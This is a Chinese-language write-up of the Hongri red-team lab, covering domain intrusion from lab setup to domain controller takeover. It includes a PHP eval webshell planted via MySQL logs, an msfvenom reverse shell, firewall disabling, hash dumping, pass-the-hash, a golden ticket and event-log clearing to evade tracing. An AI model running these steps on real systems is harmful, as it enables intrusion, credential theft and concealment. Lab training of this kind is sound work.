红日靶场-1
红日靶场涉及内网知识,和前期靶场不太一样,前期靶场大部分都是单个靶机获得root
权限,而这一次更综合,后期也会继续学习内网知识,继续打红日靶场,提高自己的综合技能。
环境搭建
首先本题的网络拓扑结构如下所示,三台虚拟机的初始密码都是hongrisec@2019
这里我们的Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为我们的DC,首先介绍一下什么是工作组和域。
工作组: |
这里我们设置网络VMnet1和VMnet8,将VMnet1作为内网,VMnet8作为外网,其中需要注意的是,VMnet1的子网地址必须是192.168.52.0
,否则后面win7的web服务无法开启
配置win7 web服务网络
从网络拓扑图可知,需要模拟内网和外网两个网段,Win7虚拟机相当于网关服务器,所以需要两张网卡,如下所示
我们试着ping一下我们的主机,如果可以ping通,说明我们成功连接上了外网,如下所示
同时记得把虚拟机的防火墙关闭,否则我们的攻击机ping不通我们的win7虚拟机
ping一下DC域控,能ping通说明内网设置也成功
配置Winserver 2008(DC)
我们直接将域控主机配置VMnet1网卡,如下所示
配置win2k3网络(域成员)
域内主机win2003的网卡配置和DC配置一致,选择VMnet1网卡即可,与外网不连通
ip配置如下:
Windows11攻击机:192.168.20.130 |
接着我们开启win7上的web服务,我们打开phpstudy,启动服务
我们试着访问一下
可以正常访问到PHP探针,至此环境全部搭建完毕,接下来我们可以愉快的进行渗透拿权限了。
外网边界探测
我们首先探测一下外网主机开放的端口,我们使用nmap进行扫描,如下所示,nmap -T4 -sV -p- -A 192.168.20.132
我们发现开放了80
、3306
、445
以及139
端口,这就提醒我们可以从3个方向入手,分别是web网页、mysql数据库以及SMB服务,我们首先试试SMB服务,看看有没有信息泄露,我们使用smbclient进行查看,但是并没有什么有价值的信息,我们还是从80端口出发,先扫一扫有没有后门目录
python39 dirsearch.py -u http://192.168.20.132/ |
我们发现存在phpmyadmin后台,即著名的mysql数据库管理后台,我们尝试访问一下,我们先尝试一下弱密码root:root
,发现成功登陆进去了,我们先尝试看看有没有nday漏洞给我们利用,先看版本号
版本号为5.5.53
,我们尝试去搜索该版本的历史漏洞
并没有历史漏洞,所以我们得换一种思路去getshell,我们通过搜寻,可以知道phpmyadmin可以利用mysql日志文件写入shell进行getshell,我们尝试一下这种做法,以前还从来没这么做过
phpmyadmin getshell
首先我们开启mysql日志,在运行框中运行下面的语句
set global general_log='on' |
查看当前mysql路径
select @@basedir; |
接下来设置木马写入的路径,如下所示
set global general_log_file ="C:/phpStudy/WWW/shell.php" |
接下来我们写入一句话木马,如下所示
select "<?php eval($_POST['attack'])?>" |
接下来我们直接访问shell.php即可
我们尝试蚁剑连接,获取虚拟终端,如下所示
我们执行ipconfig,发现了内网网段192.168.52.0/24
后渗透
首先先把主机防火墙关闭,方便我们进行进一步操作
netsh advfirewall set allprofiles state off |
接下来我们运行msf,使用msf上线主机,如下所示
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.20.138 LPORT=4444 -f exe -o shell.exe |
我们将shell.exe通过蚁剑上传到靶机上去
接着我们在kali上开启监听模式,持续监听连接
use exploit/multi/handler |
我们用蚁剑运行exe文件,如下所示
我们的kali成功上线windows7,第一步我们进行权限维持
权限维持
进行权限维持就是要将进程进行迁移,即将我们的shell.exe的进程附加在系统进程上
migrate 1944 |
收集域内信息
内网信息收集的主要目的就是查找域控以及域控内的其他主机
net view # 查看局域网内其他主机名 |
首先判断是否存在域,我们使用ipconfig /all
查看DNS服务器,我们发现存在域god.org
接着我们使用net view /domain
查看有几个域
我们发现只有唯一一个域,接下来我们查看域控主机名,我们使用net group "doamin controllers" /domain
进行查询即可,我们可以查询到域控为owa
我们接着查询所有域内主机,如下所示net view
接着我们查询域内IP,使用arp -a
进行查询
为了确定哪个是域控主机IP,我们尝试去ping一下域名ping owa.god.org
至此我们域内信息收集完毕
域名为 god |
横向渗透
首先我们要配置代理,使用proxychains进行代理配置,否则我们的kali机无法扫描到内网的机器
run post/multi/manage/autoroute |
之后我们在我们的配置文件/etc/proxychains4.conf
加上代理,如下所示
我们直接挂代理扫域控主机的端口
proxychains nmap -Pn -sT 192.168.52.138 |
我们发现开放了445端口,我们尝试使用永恒之蓝进行探测,但是没有成功,后来上网查询发现哈希传递可以拿下域控,利用永恒之蓝拿shell成功案例太少了
哈希传递攻击拿下域控
哈希传递攻击: |
首先我们使用hashdump获取哈希值,如下所示
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: |
但是这只是用户密码的一个hash值,我们在msf里加载mimikatz模块,之后使用credentials
获取哈希值和密码,但是要注意的是,这里得首先进行进程迁移,因为kiwi模块不能在x64上运行,我们迁移到x86进程即可
所以哈希值为
38131169c2d3664b0e8cc78be9175e3c |
我们使用以下模块进行哈希传递
auxiliary/admin/smb/psexec_command #在目标机器上执行系统命令 |
以exploit/windows/smb/psexec模块进行哈希传递攻击
use exploit/windows/smb/psexec |
但是我们这里还是失败了,我们选择换一种方式,我们试着用cs进行上线,cs操作起来会更方便一点
CS上线
我们这里用CS生成一个exe文件,上传到我们的web靶机上去,如下所示,首先我们先在CS上创建一个名为borgeous的监听,端口设置为4444
之后我们的exe监听器选中borgeous即可,如下所示
我们生成后将这个exe文件导出,通过蚁剑上传到我们的win7靶机上即可,运行后我们可以在cs上看到我们的主机已经上线了
跑着跑着环境又崩了,我们只能重启重新运行,内网是这样的,虚拟机一开多环境就容易崩,CS如果老是闪退的话,多重启几次就好了,也没有啥好办法,反正我是要崩溃了
我们先用cs抓取一下明文密码,如下所示
我们对域控主机进行端口扫描,发现开放了445端口,如下所示
我们可以创建SMB监听隧道,首先我们新增一个SMB监听器,如下所示
之后我们横向移动到域控主机上去,我们使用哈希传递进行攻击,如下所示
我们这里选择system权限的session进行哈希传递,其他的可能权限不够
我们这里成功进行哈希传递拿到域控,我们接着要关闭受控主机防火墙,关防火墙是个好习惯
黄金票据维持权限
黄金票据是指能够绕过认证授权(Authentication and Authorization)机制并获得所需权限的票据。这种票据可以被攻击者收集和利用,从而从系统内部获取高权限,甚至完全控制系统。
我们首先抓取哈希以及明文密码,如下所示
最重要的就是获取SID值和krbtgt票据来创建我们的黄金票据,如下所示
这样我们成功创建了属于我们的黄金票据,到此我们的渗透结束
痕迹清理
shell wevtutil cl security //清理安全日志 |
我们在渗透完之后一定要进行痕迹清理,以防止自己被溯源,我们执行以上几条命令可以帮我们进行痕迹清理
至此我们的靶场到此全部破解
心得体验
这是我第一次打内网靶场,在打这个靶场之前,我的前置知识也不是很多,可能只大概知道一些内网的概念,所以在打的过程中还是比较坐牢的,一个是工具用不熟练,msf和cs我都捣鼓了很久才慢慢摸到一点门道,总之还是得多练,多做题,才能越来越熟练,前段时间看wp都看得头痛,现在也慢慢能摸索出一点门道了,后续还会再学一点内网的相关课程,提高自己的技能